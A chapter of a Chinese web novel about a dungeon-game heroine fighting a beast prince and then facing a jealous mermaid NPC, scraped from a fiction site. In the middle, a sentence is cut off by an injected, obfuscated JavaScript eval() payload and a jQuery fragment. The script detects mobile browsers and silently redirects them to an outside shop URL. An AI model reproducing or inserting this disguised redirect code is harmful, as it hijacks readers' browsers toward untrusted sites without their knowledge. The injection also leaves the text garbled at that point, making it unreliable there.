文趣网 > 都市小说 > 爱上副本貌美NPC是我的命运gb > 33. 你怎么连替身都有了
    商宁同意了郁献白的邀请,跟着那名NPC一起前往森林城堡,解救他被野兽王子抓走的女儿。

    路上两个人闲聊起来,郁献白问她对于任务有什么进展或者看法。

    任务很简单,只需要找到维瑟兰国王最宠爱的公主。

    问题就在于,这位公主到底是谁。

    “森林里显然有不少NPC,里面有不少公主,你应该也有遇到吧。”

    商宁点了点头,说出自己遇到白雪公主的事情。

    郁献白听完,反倒是注意到一个奇怪的点:“给你红苹果的老婆婆应该是王后假扮的,想要借你的手除掉公主。”

    “但为什么两个人都要和你说同样的话:看来你是要站在谁的那边……?”

    商宁也发现了这个点,突然想到一个有趣的猜测:“你说,这次副本会不会是阵营战?”

    旁边人的眼睛一瞬间瞪大,问她怎么会这么想,商宁只继续说下去:

    “当然,我也不认为公主的角色是最重要的,反而是国王。”

    玩家可以选择支持任一公主,送到王都后由国王亲自揭晓谁才是他最宠爱的公主,选对阵营的玩家说不定就能顺利通关游戏。

    郁献白听的有些迷糊,但也大概能理解她的意思。

    “你是想从国王身上下手?”

    商宁依旧没什么表情,说话也没什么起伏,但郁献白听的只觉怪渗人的。

    “国王满意开心了,我选哪位公主,哪位不就是他最宠爱的。”

    那双眼睛晃悠悠地转过来和他直视,眼白有些明显,像是无边雪地里一点墨。

    郁献白没敢和她继续聊下去,玩家之间也是可以互相淘汰的,不熟悉的情况下知道对方太多计划信息反而是一种威胁。

    他看着商宁也不像需要组队的样子。

    巍然耸立的古城堡终于展现在眼前,显然有些年头,不复那般华丽,石墙斑驳,连大门上都是铁锈斑斑,透着一股阴郁气息。

    “两位勇士,这就是那野兽的古堡,我的女儿就在里面,求求你们一定要救救她。”

    作完向导任务的NPC已经杀青,眨眼间就消失在森林里。

    商宁上前,推开那扇铁门,尘土飞扬,入眼是一片娇艳欲滴的玫瑰花田,馥郁的花香扑鼻而来。

    进入大殿,墙壁上无数盏烛火陡然间陆续燃起,点点火光蔓延开来,眼前的事物都慢慢清晰起来。

    红丝绒地毯蜿蜒向前,像是一条血河。

    尽头,是一张深木长餐桌,两套银质餐具陈列在主尾的位置,刀叉打磨的晶亮,反射着桌上烛台的光晕,以及那两双。

    阴影里冷森森的眼睛。

    商宁脚步一顿,差点撞上她的郁献白刚想问她怎么了,越过她的肩线刚好撞上那两双抬起的眼睛。

    巨大的野兽伏在餐桌之上,粗壮覆着厚厚鬃毛的躯体裹在一身王室礼服里,锋利的爪牙反复打磨着刀叉,金色竖瞳泛着凛冽凶光。

    对面坐着的是一袭长裙的女人,面容动人,莹白肌肤和对面的猛兽像是两个毫不相干的极端。

    两个人一头一尾对立坐着,摩擦着刀叉的声音刺耳又突兀。

    原来还没开饭,是在等食物来啊。

    商宁的手握在腰间佩刀上,等待着拔刀出鞘。

    水晶吊灯突然亮起,像一道闪电劈过,以至于商宁下意识抬头,看清了被吊在空中的两道身影。

    “宁宁姐!救命啊——”

    野兽的凶吼响斥整个大殿,半空中的严妍晃了好几下,脸色煞白,惊恐地看向地面的商宁。

    谢天谢地,还以为要沦为野兽盘中餐了。

    郁献白下一秒站至她前面,一把长弓握在他的手中,周身散发着层盈盈蓝光,好似冰做成般,拉弓搭箭。

    一支光箭破风射出。

    商宁在他身后抹了一把脸,将对方被风吹起扑到她脸上的长发拨开,有些心累。

    近战还玩什么弓箭,射手不应该是远程攻击吗。

    那箭射在野兽粗壮的小腿上似乎在给他挠痒痒一样。商宁立即拉开郁献白,唐刀出鞘,直直迎了上去。

    郁献白被她推了一把有些踉跄脚步,只看得见她闪身而过的残影,唐刀对上猛兽的爪牙,片刻间,几缕棕色毛发被削落在地。

    “小心你身后啊!”

    头顶传来严妍的提醒,郁献白突然感到一股寒气窜了上来,猩红长甲措不及防抓向他的脖颈。

    那白裙女人不知道什么时候出现在他面前。

    他算是明白了,求他救被困古堡的女儿的NPC根本不是什么救女心切的父亲,这都是引诱他们进来的陷阱。

    这野兽和美女是一伙的,玩家只是他们的食物。

    高大的兽形王子张着獠牙,竖瞳猩红,果然每个反派角色出手前都要说台词,放狠话。

    “等我吃够一百个人类,我就能解开这该死的诅咒,离开这座古堡了!”

    “你们很幸运,你们是第九十九个和第一百个——”

    商宁沉腰拧身,唐横刀挡在身前,硬生生抗下野兽冲撞带来的冲击力。

    一个脚尖蹬地,商宁顺势滑溜出去,兽爪狠狠砸在她刚站的地方,砖面猛的炸开,一瞬间地动山摇,头顶吊灯都在摇摇欲坠。

    商宁没有犹豫,旋身突进,目标却不是那野兽,而是与郁献白纠缠的白裙女人。

    女人后背冷不丁被横刀砍下,血液顷刻间在白裙上晕染开来,如一朵妖冶盛开的玫瑰。

    商宁拉过郁献白,顾不上被吊在半空中的严妍和她同伴的叫喊,自身都难保,二话不说跑上楼。

    楼道的烛火应声燃起烛光,商宁觉得自己是不是眼花了,这墙上的烛台怎么突然成精了,张牙舞爪就冲了过来。

    郁献白站她前面,摇晃的烛火直接烧上他了发尾。商宁下意识抓住那乱窜的烛台妖精便往身后一丢。

    烛火落在楼梯间铺设的地毯上,顷刻间卷起一截火舌,短暂拖住了野兽的追逐。

    两人不停地跑上楼,穿过昏暗的长廊,身后的兽吼和脚步声依旧紧追不停。

    直到拐进转角,商宁带着人躲进了一个房间,马上扣紧房门。

    一回头,落地窗如透明的水帘般明晃晃展示窗外风景,远处层林隐在薄雾里,日光温煦,洒进来,一片明亮。

    没来得及喘口气,下一秒房门措不及防被撞开,露出大片棕褐色鬃毛,金色竖瞳从阴影里一点点爬出。

    郁献白被盯得后背寒毛乍起,抓着旁边商宁的手惊慌地问她现在怎么办。

    被堵在房间里,除了等死可不就是只能接着打。

    商宁看了眼窗外那片玫瑰花田,又看了眼已经扑上来的野兽。

    选择直接为这位敬业的野兽王子点播一首玫瑰花的葬礼。

    巨兽擦着她的肩膀掠过,腥热的气息扑面而来,弄得她苍白的脸上浮现出一层血色,烧到了眼尾,商宁侧了下头想要撇开那点烫意。

    她顺势矮身,滑到野兽的身侧,高高扬起的长臂反刀挥击,刀背狠狠磕在了野兽的膝骨上。

    离那落地窗已经距离极近,商宁一脚踹在他的后腰,顺着惯性的冲击,野兽径直扑向前。

    落地窗猛的破碎,太阳烘晒过的新鲜空气争先恐后地涌进来。

    被爪牙无意间勾到发尾的郁献白被迫折腰,几乎大半身子要悬在窗外——

    腾空的手一瞬间被人扣住手腕

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888741|212676||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,空白的意识里,商宁出手抓住了他。

    天旋地转,他只能看见烈风里挂在商宁身后的外袍衣诀翻飞,肩章上的银流苏和他的耳饰缠作一块。

    ……

    落地的瞬间,溅起飞扬的尘土,两个人砸下一块明显的坑印。

    野兽庞大身躯恰好砸在了那片玫瑰花田里,无数鲜艳的玫瑰碎在他的身下,空气里都是花汁糜烂的香味。

    商宁缓缓站起身,酸麻劲迟钝地从脚底板升了上来。她的手还留在郁献白的腰和腿上,就在刚刚跳楼的瞬间,她下意识将这人拦腰穿膝抱住,以至于坠落的冲击力大部分都泄在她身上。

    她咳了下,喉咙一股血气乱窜,穿过他膝盖的手一瞬间软了力,郁献白顿然间失了平稳,身形一晃差点没摔出去。

    还好商宁另一只手还僵硬地拽着他腰上的衣服,稳住了他。

    商宁的脸在风里被吹的扯不出任何表情,有些艰难开口:“下次。”

    “下次别扎你的破马尾了。”

    要不是他头发被野兽勾住,都不至于要一起跳楼。

    郁献白自知理亏,捂着胸口刚想和她道歉,却看见商宁的表情突然变得奇怪起来,像是见到了鬼一样。

    顺着她僵直的目光,郁献白看见不远处赫然站着一道身影,身后敞开的铁锈大门衬着他身影有些单薄。

    长发如瀑,缠在腰上,日光里反倒衬得他白的近乎透明,没有血色的面容上只有眉眼含着一抹秾艳,斜长略微上扬的眼睛正幽幽地盯着他们。

    献祭了自己生命与声音才换来能在陆地上行走的人鱼迫不及待地想要来到他心心念念那人的面前,要同她重逢。

    却偏偏撞见这一幕。

    商宁被他直勾勾的眼神吓得心跳都错了一拍,缩在郁献白腰上的手火速扯开。

    郁献白忽然失了依靠,摔在地上,手颤颤巍巍地指着商宁。

    两道埋怨的目光都交错在她身上,只不过其中一道怨恨更加。商宁擦了擦手,撑在脑后,不自觉地侧开脸哪敢直视那道炙热的眼神。

    “好久不见,好久不见。”她佯装镇定地打了一声招呼。

    明明早上才刚刚见过。

    像是饮下刀片哽在喉咙里,每一次吞咽都带起沙砾般磨人的刺痛,他努力张开嘴,灌进来的空气将喉管里的铁锈味弄得更重。

    掀起的疼痛从喉咙蔓延到胸口,舟拾玉难受地捂着心脏,惨白的唇瓣一张一合。

    发出的声音嘶哑艰涩,吐字不清。

    但商宁还是听到了。

    因为他在喊她的名字。

    舟拾玉费力地想要说出更多的话,却发现喉咙里只能溢出嘶嘎破碎的气音,断断续续根本不成话。

    每一个字说出来,都好痛。

    都很难听。

    他有些绝望地闭上眼。

    商宁瞳孔一震,看到这人突然吐出一口血来。

    忍着痛和吐血都要和她说完那句话。

    “你、你骗我……”

    不是说下一次会早点找到他吗。

    找到了他,却还要丢下他。

    为什么,等他主动寻来的时候,她替身都找好了。

    被吊在半空中的严妍目睹了全程,从看到商宁抱着人一跃而下到现在的修罗场,通通收入眼底。

    她也不喊救命了,也不求商宁赶紧发现还被吊着的她们。

    因为这场景,这画面。

    实在是太精彩了。

    “宁宁姐,虽然家花不如野花香,但你家后花园是不是要起火了。”

    “毕竟你家小花怎么看着挺像是来抓奸抓小三的。”

    严妍的传音落到她耳边的时候,商宁差点没两眼一黑。